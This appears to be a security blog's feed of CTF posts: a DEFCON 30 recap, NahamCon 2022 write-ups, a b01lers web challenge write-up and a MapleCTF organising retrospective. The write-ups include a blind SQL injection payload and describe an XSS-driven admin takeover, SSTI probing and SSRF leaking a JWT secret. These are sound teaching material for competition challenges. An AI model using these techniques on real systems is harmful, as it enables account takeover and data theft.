<p>Anyway, day 2 got really chaotic as the competition continued, as infra issues had unfortunately worsened and many technical difficulties popped up for both ourselves and for the others as a whole. We certainly had our fair share of issues, but realistically every team had some sort of fire to put out. I had a real quick break helping out with food delivery to those on the floor, but only for about 10ish mins since once I was back, I went back to doing my job. During my way back to the suites, I stopped by the car hacking village and a few other villages out of curiosity. I really wanted to spend more time at the Aerospace village and the RF village, fields of security I definitely want to explore on my own <del>because it&rsquo;s About Damn Time™️ I broaden my skills past web</del> and hopefully I can do that in the future.</p>
<p>Of the challenges, one was of particular interest. The KoTH challenge, &ldquo;corewars&rdquo;, followed after the same-named programming game where you pit 2 programs against each other and have them execute instructions in memory round-robin style, each program keen on forcing the other to terminate by executing an invalid instruction. In DEFCON, all 16 teams had their warriors battle it out and each round the results were tallied and kept in a giant grid scoreboard. A fun concept, but the scoreboard had a few issues so it was unreliable as a results metric.</p>
<p>Day 2 challenges were to persist after the night, so even though the network closed at the end of the day, it was far from the end for us. A bunch of us stayed up late to continue working on finding exploits for all available challenges: mambo, corewar-n2 and the nivisor series. Honestly, this was not a new strategy for me, or us. We&rsquo;re all used to staying up during odd hours of the night in order to solve a challenge :&gt;</p>
<p>
    <img src="/images/day2.png"  alt="End of day 2"  class="center"  style="border-radius: 8px;"  />


<em>Conclusion of Day 2</em></p>
<h4 id="live-ctf-day-2">Live CTF day 2</h4>
<p>Oh my god Jinmo is SO FAST</p>

    <img src="/images/jinmoisfast.png"  alt="Winner!&#34;"  class="center"  style="border-radius: 8px;"  />


<h3 id="day-3">Day 3</h3>
<p>The final day. Day 3 was to be a shorter amount of time, ending at 1pm so it lasted only 4 hours. But it would be a chaotic and intense 4 hours, given that every team was operating under the assumption that we had a bunch of exploits ready to yeet at the others (which were found last night) once the light went green for the day. When the network opened on day 3, everyone quickly went into their roles and we focused on the CTF for those hours.</p>
<p>Things got hectic as the challenges that were out got, predictably, hit with new exploits and we raced against time to both reflect them and patch our services to oblivion. We had to do this alongside reporting infra fires and interfacing with the organizers whilst still doing our jobs. Even though day 3 was considerably shorter, we weren&rsquo;t any less busy.</p>
<p>There were some very unfortunate things that occurred on this day, however, including infra issues abound and some other spats of chaos here and there which forced the organizers to close the game 1 hour early. While unexpected, we still had the LiveCTF event to take a look at.</p>
<h4 id="live-ctf-day-3">Live CTF day 3</h4>
<p>We were knocked out of the bracket by Starbugs, a very good team, and so the finale of Live CTF was a bout against perfect r✪✪✪t and Starbugs. The latter came out on top, so congrats to them!</p>

    <img src="/images/livectffinal.png"  alt="LiveCTF final results"  class="center"  style="border-radius: 8px;"  />


<h4 id="the-finale">The Finale</h4>
<p>The end results of DEFCON CTF were announced at the end of the closing ceremony, where we came out on top :) we were followed by Katzebin and Starbugs occupying 2nd and 3rd respectively. I was in the suite when this was announced, but we all cheered when the results came in and a subset of us accepted the black badges during the ceremony. I&rsquo;m extremely happy to have MMM come in first place, especially given the reputation of DEFCON and the work that was put into it.</p>

    <img src="/images/results.png"  alt="Victory!"  class="center"  style="border-radius: 8px;"  />


<p>The final day after the end of the contest was a free-for-all in terms of stuff to do. Since we had the rest of the day to ourselves, many of us wandered around or went sightseeing in Vegas for a bit after the conclusion of DEFCON. Some of us went ahead and had an MMM pool ppparty, since hey we might as well use the pool while we&rsquo;re here :p</p>
<p>Later that night we saw the other teams at the afterparty, shoutout to <em>perfect r✪✪✪t x organizers</em>, where we mingled and formed plenty new friendships :&gt; special shoutout to team Sauercloud for giving me the matrix gigachad sticker which has a new home on my laptop. One of us also distributed small rubber ducks to the afterparty, and I know this because for a brief 5 minutes the floor was just filled with sounds of rubber ducky squeaks.</p>
<h2 id="final-thoughts">Final Thoughts</h2>
<p>DEFCON 30 was an interesting and wild ride, all things considered. As I&rsquo;ve said before, I&rsquo;m new to the scene so I&rsquo;m by no means able to talk about this event in any authoritative capacity, so this blog posts comes off less as a general feedback note and more an introspection into what went down during. This was Nautilus Institute&rsquo;s first DEFCON as organizers of the event, and I&rsquo;m certain they have already recieved a wealth of feedback, most of which are sentiments I agree on in terms of infra handling, challenge deployment and whatnot. I, like many others, experienced first-hand a few frustrating issues during the CTF, which I believe they have taken note of and are compiling to guide them for next year. I can&rsquo;t imagine the enormous undertaking it must have been to tackle a world-reknown CTF such as DEFCON, and I am very grateful that they have volunteered and stepped up to the plate for it.</p>
<p>As a whole, I&rsquo;m happy and grateful for the opportunity given to me and to MB to be a part of MMM. I&rsquo;ve formulated solid friendships and met some really amazing people, and I can&rsquo;t have imagined even a year ago that my CTF journey would make its way to Vegas. I have learnt alot from this year&rsquo;s DEFCON, and I&rsquo;m excited to see what next year will have in store for us.</p>

    <img src="/images/mmm_together.JPG"  alt="MMM"  class="center"  style="border-radius: 8px;"  />


<p><strong>Vie</strong></p>
]]></content>
        </item>
        
        <item>
            <title>NahamCon CTF 2022</title>
            <link>https://jamvie.net/posts/2022/05/nahamcon-ctf-2022/</link>
            <pubDate>Mon, 02 May 2022 12:40:52 -0700</pubDate>
            
            <guid>https://jamvie.net/posts/2022/05/nahamcon-ctf-2022/</guid>
            <description>Just in Time Maple Bacon played in NahamCon CTF 2022 this past weekend, which came as a surprise - we were fully planning on focusing our efforts onto AngstromCTF which overlapped, however, NahamCon CTF proved to be interesting and good-quality so a last-minute decision was made to participate in both. AngstromCTF is still underway, but in the awkward passage of time between my last week and weekend, I played in NahamCon CTF for a little bit of practice.</description>
            <content type="html"><![CDATA[<h2 id="just-in-time">Just in Time</h2>
<p>Maple Bacon played in NahamCon CTF 2022 this past weekend, which came as a surprise - we were fully planning on focusing our efforts onto AngstromCTF which overlapped, however, NahamCon CTF proved to be interesting and good-quality so a last-minute decision was made to participate in both. AngstromCTF is still underway, but in the awkward passage of time between my last week and weekend, I played in NahamCon CTF for a little bit of practice.</p>
<h2 id="challenges">Challenges</h2>
<h3 id="flaskmetal-alchemist-web">Flaskmetal Alchemist (Web)</h3>
<p>Snoop around for a little bit and observe that the sqlalchemy libary version the app is using is 0.2, which is incredibly old. Google &ldquo;sqlalchemy/0.2&rdquo; specifically and you&rsquo;ll recieve a few <a href="https://security.snyk.io/vuln/SNYK-PYTHON-SQLALCHEMY-173678">hits</a> on a potential SQLi vulnerability in the group_by/order_by function. Luckily for us, the application indeed utilizes the <code>order_by</code> function.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span>            <span style="color:#a6e22e">metals</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">Metal</span>.<span style="color:#a6e22e">query</span>.<span style="color:#a6e22e">filter</span>(
</span></span><span style="display:flex;"><span>                <span style="color:#a6e22e">Metal</span>.<span style="color:#a6e22e">name</span>.<span style="color:#a6e22e">like</span>(<span style="color:#e6db74">&#34;%{}%&#34;</span>.<span style="color:#a6e22e">format</span>(<span style="color:#a6e22e">search</span>))
</span></span><span style="display:flex;"><span>            ).<span style="color:#a6e22e">order_by</span>(<span style="color:#a6e22e">text</span>(<span style="color:#a6e22e">order</span>))
</span></span></code></pre></div><p>Simply create an <code>ORDER BY</code>-based blind SQLi that changes the order of the elements as a boolean condition.</p>
<pre tabindex="0"><code>search=Li&amp;order=(CASE WHEN (SELECT HEX(SUBSTR(flag, 1, 1)) FROM flag)=&#34;66&#34; THEN atomic_number ELSE name END)
</code></pre><p>Repeat this in a script and grab the flag character by character.</p>
<p><code>flag{order_By_blind}</code></p>
<h3 id="two-for-one-web">Two For One (Web)</h3>
<p>The challenge is a pastebin-esque site but with added otp functionality for basically everything - from viewing and deleting notes, to changing your password.</p>
<p>With no source provided, snoop around and observe a feedback form in the settings tab. Play around with it and observe that it is vulnerable to XSS, whatever is submitted in the feedback form is rendered to an &ldquo;admin&rdquo; user.</p>
<p>We need 2 things: the admin&rsquo;s 2fa secret key and password. Start with the 2fa, since you need it for the password anyway.</p>
<p>In the settings page, observe a &ldquo;reset 2fa&rdquo; button which the server responds with an <code>otpauth</code> containing your username and a 2fa secret key.</p>
<pre tabindex="0"><code>otpauth://totp/Fort%20Knox:&lt;USER&gt;?secret=&lt;BUNCHOFLETTERSANDNUMBERS&gt;&amp;issuer=Fort%20Knox
</code></pre><p>Use the XSS functionality in the feedback form to send the admin to that endpoint and observe the 2fa secret key value that is returned - you now have the admin&rsquo;s 2fa (sidenote - it&rsquo;s good to have a <a href="https://totp.danhersam.com/">totp generator</a> handy for this occassion).</p>

    <img src="/images/nahamcon2022_twoforone_2fa.png"  alt="2fa gone bad"  class="center"  style="border-radius: 8px;"  />


<p>The next step is to retrieve their password, which you can do by again using the feedback form to send the admin to make a POST request to the <code>change_password</code> endpoint. The request will need a valid 2fa value alongside the new password, which you should have from before. Once you succesfully reset the admin&rsquo;s password, log into their account yourself and view their secret note.</p>

    <img src="/images/nahamcon2022_twoforone_flag.png"  alt="2fa gone bad"  class="center"  style="border-radius: 8px;"  />


<h3 id="deafcon-web">Deafcon (Web)</h3>
<p>The challenge asks for your name and email to be rendered onto a fake &ldquo;deaf con&rdquo; ticket as a PDF.</p>
<p>Observe that the ticket service has an alphanumeric whitelist on the name value, but does not have as strong of a restriction on the email value - only <code>()</code> chars are banned and the email must be RFC-compliant, which is easy to do by adding <code>@any.thing</code> at the end.</p>
<p>Script execution is possible, in a similar fashion to dangling markup. If you add an iframe or an img, the PDF will render it (albeit malformed). However, the service is also vulnerable to SSTI attacks, which can be tested by adding in a trivial payload such as <code>{{7*7}}</code> into the email field.</p>
<p>Craft an SSTI payload to find any file named <code>flag</code>.</p>
<h3 id="dweeno-hardwarerf">Dweeno (Hardware/RF)</h3>
<p>You&rsquo;re given a few things: <code>output.txt</code> which is a list of binary values, a <code>source.ino</code> file, an image of an arduino hooked up to a breadboard with a chip in the middle, and a sketch of the arduino as well.</p>

    <img src="/images/nahamcon2022_arduinosketch.png"  alt="arduino"  class="center"  style="border-radius: 8px;"  />


<p>Observe the sketch and note that the chip in the breadboard is a quad XOR 2-gate, hooked up to the input and output pins of the arduino. Observe the <code>source.ino</code> file:</p>
<pre tabindex="0"><code>char * flag = &#34;REDACTED&#34;;
String curr, first, second;
int in1=29, in2=27, in3=25, in4=23;
int out1=53, out2=51, out3=49, out4=47;
int i;

String get_output(String bits) {
    String output;
    digitalWrite(out1, ((bits[0] == &#39;1&#39;)? HIGH : LOW));
    digitalWrite(out2, ((bits[1] == &#39;1&#39;)? HIGH : LOW));
    digitalWrite(out3, ((bits[2] == &#39;1&#39;)? HIGH : LOW));
    digitalWrite(out4, ((bits[3] == &#39;1&#39;)? HIGH : LOW));
    delay(1000);
    output += String(digitalRead(in1));
    output += String(digitalRead(in2));
    output += String(digitalRead(in3));
    output += String(digitalRead(in4));
    return output;
}

//converts a given number into binary
String binary(int number) {
  String r;
  while(number!=0) {
    r = (number % 2 == 0 ? &#34;0&#34; : &#34;1&#34;)+r; 
    number /= 2;
  }
  while ((int) r.length() &lt; 8) {
    r = &#34;0&#34;+r;
  }
  return r;
}

void setup() {
  i = 0;
  pinMode(out1, OUTPUT);
  pinMode(out2, OUTPUT);
  pinMode(out3, OUTPUT);
  pinMode(out4, OUTPUT);
  pinMode(in1, INPUT);
  pinMode(in2, INPUT);
  pinMode(in3, INPUT);
  pinMode(in4, INPUT);
  Serial.begin(9600);
}

void loop() {
  if (i &lt; strlen(flag)) {
    curr = binary(flag[i]);
    first = curr.substring(0,4);
    second = curr.substring(4,8);
    Serial.print(get_output(first));
    Serial.println(get_output(second));
    delay(1000);
    i++;
  }
}
</code></pre><p>Of note in the code is the <code>loop()</code> function and <code>get_output()</code> function. The <code>loop()</code> iterates through each character in the global <code>flag</code> variable, then splits it in half and feeds both halves to <code>get_output()</code>.</p>
<p>The <code>get_output</code> function first calls to the arduino hardware and sets the 4 output pins to either a high voltage (HIGH) or low voltage (LOW) based on the value of a specific bit recieved in the input. Basically, it sets the output pins to either a 0 or 1 based on one of the bits in the input.
After a short delay, the function then reads the value from the input pins, which, recalling the sketch of the arduino, would have been hooked up with the output pins to a quad XOR gate. THerefore, the input pins would return either a 0 or 1 depending on the XOR operation.</p>
<p>To summarize, the functionality of dweeno is to simply XOR the bits of the flag sequentially. We still need to figure out what the output pins are being XOR&rsquo;ed with to get the value of the input pins - however, we know that the output.txt spits out the XOR&rsquo;ed flag. We can move backwards by determining that the first binary value in the output.txt file is the XOR&rsquo;ed character <code>f</code>. XOR&rsquo;ing the binary value of <code>f</code> with the output.txt values will return to us the key used to XOR the output pins - this is revealed to be <code>01010101</code>. Through reverse-engineering this small program, we can perform the necessary XOR operations to retrieve the flag with a simple script:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span>xor_boi <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;01010101&#34;</span>
</span></span><span style="display:flex;"><span>flag <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>binary_flag <span style="color:#f92672">=</span> []
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">with</span> open(<span style="color:#e6db74">&#39;output.txt&#39;</span>, <span style="color:#e6db74">&#39;r&#39;</span>) <span style="color:#66d9ef">as</span> fp:
</span></span><span style="display:flex;"><span>	output <span style="color:#f92672">=</span> fp<span style="color:#f92672">.</span>readline()
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">while</span> output:
</span></span><span style="display:flex;"><span>		curr <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;&#39;</span>
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">for</span> i <span style="color:#f92672">in</span> range(<span style="color:#ae81ff">0</span>,<span style="color:#ae81ff">8</span>):
</span></span><span style="display:flex;"><span>			y <span style="color:#f92672">=</span> int(output[i],<span style="color:#ae81ff">2</span>) <span style="color:#f92672">^</span> int(xor_boi[i],<span style="color:#ae81ff">2</span>)
</span></span><span style="display:flex;"><span>			curr <span style="color:#f92672">+=</span> str(y)
</span></span><span style="display:flex;"><span>		ascii_char <span style="color:#f92672">=</span> chr(int(curr,<span style="color:#ae81ff">2</span>))
</span></span><span style="display:flex;"><span>		flag <span style="color:#f92672">+=</span> ascii_char
</span></span><span style="display:flex;"><span>		output <span style="color:#f92672">=</span> fp<span style="color:#f92672">.</span>readline()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>print(flag)
</span></span></code></pre></div>]]></content>
        </item>
        
        <item>
            <title>B01lers CTF 2022: hacker/place</title>
            <link>https://jamvie.net/posts/2022/04/b01lers-ctf-2022-hacker/place/</link>
            <pubDate>Tue, 26 Apr 2022 19:59:24 -0700</pubDate>
            
            <guid>https://jamvie.net/posts/2022/04/b01lers-ctf-2022-hacker/place/</guid>
            <description>Thoughts This year&amp;rsquo;s b01lers CTF was a great one for Maple Bacon, given that we came in first. A fantastic development, especially since last year we landed in 7th, so we&amp;rsquo;ve certainly improved a great deal since then.
While the balance of problems was skewed, the CTF was overall an enjoyable experience. It was nice to delve into the different problems outside of web (whilst waiting for the one (1) web challenge to release), which reminded me I really need to touch up on my reversing skills, a 2022 new year resolution that I wanted to get into.</description>
            <content type="html"><![CDATA[<h2 id="thoughts">Thoughts</h2>
<p>This year&rsquo;s b01lers CTF was a great one for Maple Bacon, given that we came in first. A fantastic development, especially since last year we landed in 7th, so we&rsquo;ve certainly improved a great deal since then.</p>
<p>While the balance of problems was skewed, the CTF was overall an enjoyable experience. It was nice to delve into the different problems outside of web (whilst waiting for the one (1) web challenge to release), which reminded me I really need to touch up on my reversing skills, a 2022 new year resolution that I wanted to get into. Thankfully the year&rsquo;s not over yet, so I still have plenty of time.</p>
<h2 id="writeup">Writeup</h2>
<p><strong>The rest of the article below is a copy of the writeup I did with Ming and Alueft over at <a href="https://ubcctf.github.io">ubcctf.github.io</a>.</strong></p>
<p>This writeup is a collaborative effort between Vie, <a href="https://ubcctf.github.io/authors/alueft/">Alueft</a> and <a href="https://ubcctf.github.io/authors/ming/">Ming</a>.</p>
<h3 id="tldr">TL;DR</h3>
<p>Starved webgang swarms first web challenge within an hour of release.</p>

    <img src="/images/webgang_assemble.png"  alt="webgang"  class="center"  style="border-radius: 8px;"  />


<h3 id="challenge-description">Challenge Description</h3>
<p>After the smash success of r/place, hackers have opened hacker/place for their own groups to duke it out on. However, some script kiddies managed to steal the secret key and place pixels much faster than all of us. It&rsquo;s your job to hack the hackers and even the playing field.</p>
<p>Author: DJ</p>
<p>Difficulty: Medium</p>
<h3 id="solution">Solution</h3>
<p>The challenge is inspired by reddit’s r/place, which gives us a canvas and the ability to place a pixel at a position every 10 seconds. The premise of the challenge has us looking at a bot that is busy occupying the middle of the canvas with a giant b01lers logo.</p>
<p>The source of the challenge is provided. In the <code>app.js</code> file, we can observe a <code>/flag</code> endpoint which requires the correct admin-valued JWT token in the cookie of the visitor to access, which gives us the flag. The secret which is used to sign the JWT is given as a header to the b01lers bot on the application.</p>
<p>The bot connects to the canvas server through a websocket, then colours the appropriate x,y coordinates on the canvas with “red” and “darkred” values to create the b01lers logo. If anyone tries to colour those x,y positions with another colour, the bot will swiftly change it back (this is important for later). When the bot receives a message signaling a colour change anywhere on the canvas (including when it adds a colour too), it will take note of the colour and make an axios POST request to that colour with the given x,y coordinates. The bot code will attempt to block any bad colour inputs through a trivial replace function:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#66d9ef">let</span> <span style="color:#a6e22e">color</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">JSON</span>.<span style="color:#a6e22e">parse</span>(<span style="color:#a6e22e">str</span>.<span style="color:#a6e22e">slice</span>(<span style="color:#ae81ff">7</span>));
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">try</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">color</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">color</span>.<span style="color:#a6e22e">replace</span>(<span style="color:#e6db74">&#39;://&#39;</span>, <span style="color:#e6db74">&#39;&#39;</span>)
</span></span><span style="display:flex;"><span>} <span style="color:#66d9ef">catch</span> (<span style="color:#a6e22e">err</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>}
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">console</span>.<span style="color:#a6e22e">log</span>(<span style="color:#e6db74">`Logging opposing pixel placed at </span><span style="color:#e6db74">${</span><span style="color:#a6e22e">x</span><span style="color:#e6db74">}</span><span style="color:#e6db74">, </span><span style="color:#e6db74">${</span><span style="color:#a6e22e">y</span><span style="color:#e6db74">}</span><span style="color:#e6db74"> with color </span><span style="color:#e6db74">${</span><span style="color:#a6e22e">color</span><span style="color:#e6db74">}</span><span style="color:#e6db74">`</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">axios</span>(<span style="color:#a6e22e">color</span>, {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">method</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#39;post&#39;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">data</span><span style="color:#f92672">:</span> { <span style="color:#a6e22e">x</span>, <span style="color:#a6e22e">y</span> }
</span></span><span style="display:flex;"><span>})
</span></span></code></pre></div><p>This can be easily bypassed by simply adding another <code>://</code> into your input, since only the first one in the string gets removed. This allows us to make the bot make a POST request to anywhere we want - which is nice, since any HTTP request will also include the custom header that has the JWT signing secret we need to make our own JWTs.</p>
<p>Going back to <code>app.js</code>, the canvas is updated using a 2d array of “clients” (read: people on the canvas adding pixels, including the bot). In the <code>set_pixel()</code> function, the 2nd try-catch block performs the logic needed to update the canvas to all clients on it with the newly-coloured pixel. In this try-catch, there is also logic which will validate the provided colour amongst the enumeration of colours available, so even if we did bypass the trivial <code>://</code> replacer, we wouldn’t pass the if statement and our payload would not have been accessed by the bot… in theory. The application also keeps tabs on the client who last changed the updated pixel separately, and updates them with the change first before updating everyone else - and this occurs in the first try-catch block, before the if statement validates the provided colour.</p>
<p>Therefore, we can choose a pixel that&rsquo;s watched by the bot, change it (using a valid colour), and let the bot change it back. Then, we can change the pixel back, but this time change the colour to a link to our server. The logic will thus send our payload to the bot first without verifying the colour. Of course, afterwards the colour check in the 2nd try-catch will fail us, and our payload will not be broadcast to the rest of the people on the canvas.</p>
<p>Once we&rsquo;ve managed to make the app send our payload to the bot, we will get a request to our server with the header containing the secret needed to sign our own JWT tokens. Simply make your JWT “admin” token, access <code>/flag</code>, and receive your hard-earned goddamned-web-challenge flag.</p>
]]></content>
        </item>
        
        <item>
            <title>MapleCTF UBC ver. Retrospective</title>
            <link>https://jamvie.net/posts/2022/01/maplectf-ubc-ver.-retrospective/</link>
            <pubDate>Sun, 30 Jan 2022 22:00:18 -0800</pubDate>
            
            <guid>https://jamvie.net/posts/2022/01/maplectf-ubc-ver.-retrospective/</guid>
            <description>Jan 21-28 marked the inaugural MapleCTF: UBC version, Maple Bacon&amp;rsquo;s first CTF to hit the scene.
For our very first, we wanted to keep it local. This made it very different from most other CTFs that one would be used to. We treated this as a beginner event - hoping to introduce the UBC community to the concept, well aware that we would have to cater to varying skill levels.</description>
            <content type="html"><![CDATA[<p>Jan 21-28 marked the inaugural MapleCTF: UBC version, Maple Bacon&rsquo;s first CTF to hit the scene.</p>
<p>For our very first, we wanted to keep it local. This made it very different from most other CTFs that one would be used to. We treated this as a beginner event - hoping to introduce the UBC community to the concept, well aware that we would have to cater to varying skill levels.</p>
<h2 id="the-ctf-in-general">The CTF in general</h2>
<p>The nature of the audience dictated a few design choices for the CTF as a whole:</p>
<h3 id="challenge-difficulty">Challenge difficulty</h3>
<p>As mentioned earlier, the UBC version of MapleCTF was projected to be a beginner-friendly event. The main reasoning behind this was to make this CTF an entrypoint for UBC people hesitant to join based on percieved skill level. We (Maple Bacon) were hoping to convince people to get into cybersecurity more. We tried to make sure that our challenges all had some logical way of solving them, which didn&rsquo;t take too much technical effort - googling was encouraged, and we hoped that people didn&rsquo;t feel like they needed to know everything to succeed in this event.</p>
<p>At the same time, we still wanted to be creative and create unique challenges which were difficult compared to our accessible ones. While many challenges and ideas were cut, we managed to figure out unique ways to engineer different problems and vulnerable programs.</p>
<h3 id="teams">Teams</h3>
<p>Because this was mainly an introductory event with a sprinkling of advanced problems, we needed a way to gently guide beginners into the event past completing all the accessible challenges. Our idea was the notion of &ldquo;superteams&rdquo; - 2 larger mega parties that a team of people would affiliate under, and which their points would be aggregated to the mega party&rsquo;s point total. This would, hopefully, convince even newcomers to try and hack their way through as many problems as they can, and still feel as though they had made a dent on the event; seeing their points added to a super team&rsquo;s total. We also figured this could allow teams within the same mega party to collaborate with each other and share tips and tricks. This was a success, we saw many teams under the same party give out general hints that helped newcomers learn something new, tackling other problems past what they felt comfortable with.</p>
<p>The mega-party idea will probably not carry over to the international version, since we aren&rsquo;t as concerned with being beginner-friendly for it. However, should we run another UBC version, we&rsquo;ll likely flesh this idea out further and see what other new things we can innovate with it.</p>
<h3 id="organization-of-the-event">Organization of the event</h3>
<h4 id="scoring">Scoring</h4>
<p>Scoring was static and the reasoning for that was to not confuse newcomers on their first CTF. We lost alot of granularity with determining challenge difficulty (more on that later), but we figured that having static scores were easier for us to seperate which challenges were &ldquo;beginner&rdquo; and which weren&rsquo;t.</p>
<p>There are limitations to this - the first one, as mentioned before, was the static scoring made quantifying challenge difficulty harder than it should be. I thought one of my challenges was really hard, until I saw that it had a high amount of solves, roughly equal to a few easy-intermediate challenges around. This skewed scoring - I had 2 challenges both worth 400 points, but one had 10 solves while the other had 2.</p>
<p>Another limitation was perception. Perhaps a challenge wasn&rsquo;t actually as hard as it first comes off - but no one bothered with it since it was stacked at a specific point value. In my experience, I rarely look at point value anymore and concern myself with total amount of solves - but this is based on me trying out a few CTFs and learning that solve count is more accurate than point value (which is a plus for dynamic scoring). Newcomers will not have this same perception right away when looking at a challenge.</p>
<h4 id="discord">Discord</h4>
<p>We used discord as the main point of communication between players and organizers. We set teams up with a private team channel so that they could freely discuss their answers among their teammates and @ one of the organizers in there without fear of leaking solutions. This was a bit of overhead for us to deal with as we found that we had hundreds of teams joining in (so hundreds of team channels to sift through), but the overall experience of the private team channels seemed to be satisfactory and we may consider refining the idea should MapleCTF UBC happen again.</p>
<h4 id="hints">Hints</h4>
<p>Any challenge marked as &ldquo;beginner&rdquo; players were allowed to ask us for hints on. We had 2 specific groups of challenges: the ones you could ask for hints for, and the ones you couldn&rsquo;t. Hint giving was allowed for this event, again due to the nature of this CTF, and we saw many people utilize it to their advantage. We set a hard boundary and refused to provide any hints for any challenges which didn&rsquo;t possess the &ldquo;beginner&rdquo; tag.</p>
<p>Even though we did our best to provide accessible problems, we still knew people wouldn&rsquo;t start the CTF on the exact same baseline. Hint giving was another solution to remedy that - we were open on gently guiding players to the solution for certain challenges. Obviously, we also didn&rsquo;t want this mechanic to be abused to the point where we would walk people through the solution holding their hand, so we still exercised restraint in providing help.</p>
<p>I personally believe that the mechanic worked out - people did ask for help but they definitely solved challenges on their own. We simply saw the hints as a gentle nudge in the right direction for them.</p>
<p>Suffice it to say, we obviously won&rsquo;t be upholding this hint giving policy for the international version.</p>
<h2 id="the-business-side-of-things">The Business Side of Things</h2>
<p>MapleCTF UBC had no chance of happening if it wasn&rsquo;t for the company sponsors, <a href="https://www.arista.com/en/">Arista Networks</a> and <a href="https://www.teck.com/">Teck Resources</a>.</p>
<p>In order to synergize with the needs of the company, we offered our sponsors a chance to collaborate with us on releasing a challenge in MapleCTF which catered to the specific needs or tech stack of their company. We additionally gave the company representatives the ability to discuss themselves and answer any questions - we were able to treat the CTF as a networking event for potential candidates and the company sponsors, allowing both Arista and Teck more benefits from sponsoring us.</p>
<h3 id="you-just-activated-my-project-manager-card">You just activated my Project Manager card</h3>
<p>When it came down to brass tacks I decided to step to the plate to coordinate the event at a macro level. My expertise in web-based exploits basically guaranteed that I would also have a large role in creating the web problems, so doing that <em>while</em> also managing the event as a whole was such a task that I didn&rsquo;t think I could complete.</p>
<p>Keep in mind I still had work and school to do alongside planning - observing all of these working parts come together in unison was rewarding, but it took an enormous amount of my attention. For the later months of 2021 I became busy with challenge design, company sponsor interfacing, and other administrative overhead I didn&rsquo;t expect. Some things that I learned as an event manager:</p>
<h4 id="youll-get-into-the-habit-of-chasing-people-around">You&rsquo;ll get into the habit of chasing people around</h4>
<p>Thankfully I have a very responsive team of capable people working alongside me on the CTF, so it wasn&rsquo;t a huge issue to ask people every now and then to do specific tasks.</p>
<p>But I still had to chase a few people down and ask them to fulfill whatever role they had. Most small spats and issues were resolved quickly and without conflict, although there was still a bit of overhead that came from making sure people did what they were assigned.</p>
<h4 id="networking">Networking</h4>
<p>We collaborated with a few executive members from the UBC CSSS, due to the fact that they had a considerable reach over the technical community in our campus. We also reached out to other clubs that we felt would be interested in this event - our ACM/ICPC competitive programming club, for example, is a very strong team with impressive backgrounds in math and algorithms (<a href="https://www.cs.ubc.ca/news/2019/04/ubc-team-ranked-41st-world-acm-international-collegiate-programming-contest">they&rsquo;re also very well known in their respective discipline</a>). We advertised with them and also reached out to <a href="https://www.nwhacks.io/">nwHacks</a>, Western Canada&rsquo;s largest hackathon, for potential players there. Thankfully, UBC has a thriving technical scene and we took advantage of that for this event.</p>
<h4 id="ya-like-emails">Ya like emails?</h4>
<p>I essentially found myself being the main point of contact for many things regarding the event. I was interfacing with companies, checking in with the challenge authors for up-to-date information on the problems, and also reaching out to the infra team to visualize a timeline for when the services should be up and running. Being a very type A person made things a bit easier to manage as I had a system of time management and was able to incorporate these different tasks and front-facing meetings into my schedule seamlessly. But organization aside, I found that I soon became the person to talk to for anything MapleCTF-related: questions about the challenges, workshops, administrative discussions, company meetings, etc etc. Having these different roles meant I was never truly &ldquo;off&rdquo; for MapleCTF: constantly working on and making sure all systems were ok in every department.</p>
<h4 id="scope-creep">Scope creep</h4>
<p>This was our first CTF so I was expecting some of our more novel ideas to fall short come the time of the event. At least from my end, plenty of challenge ideas that I had were scrapped for numerous reasons (I didn&rsquo;t have enough time, the exploit seemed infeasible for the difficulty scope of the event, I just didn&rsquo;t like the challenge lol, etc etc). There were also several ideas or concepts that we incroporated into the event that were simplified for the sake of <a href="https://en.wikipedia.org/wiki/KISS_principle">KISS</a>. We really did alot for our first CTF, and none of us wanted more work on top of our already stacked schedules.</p>
<h2 id="infrastructure">Infrastructure</h2>
<p>Our infrastructure utilized AWS, kubernetes, github actions, CTFd and grafana.</p>
<h3 id="no-i-dont-know-what-k8s-is-and-at-this-point-im-too-scared-to-ask">No I don&rsquo;t know what k8s is and at this point I&rsquo;m too scared to ask</h3>
<p>Utilizing k8s made continuous container deployment easy. The additional k8s kops tool when combined with our AWS infrastructure simplified alot of stuff for us - making challenge deployment quick and easy and also giving us the opportunity to quickly roll out patches or restart deployment in seconds. Our infra guy created a highly scalable solution which could be added to if needed. Thankfully, not too many spats happened throughout the competition so we didn&rsquo;t have to worry too much about the whole thing going down.</p>
<h3 id="aws-ec2-very-cool">AWS EC2, very cool</h3>
<p>We used mid-size AWS EC2 vms in order to host our challenges. We had a running total of 56 challenges, with about 40 of them requiring containerizing on our infra. Thankfully, we had no issues with dockerizing our challenges and it was the easiest container service to get into.</p>
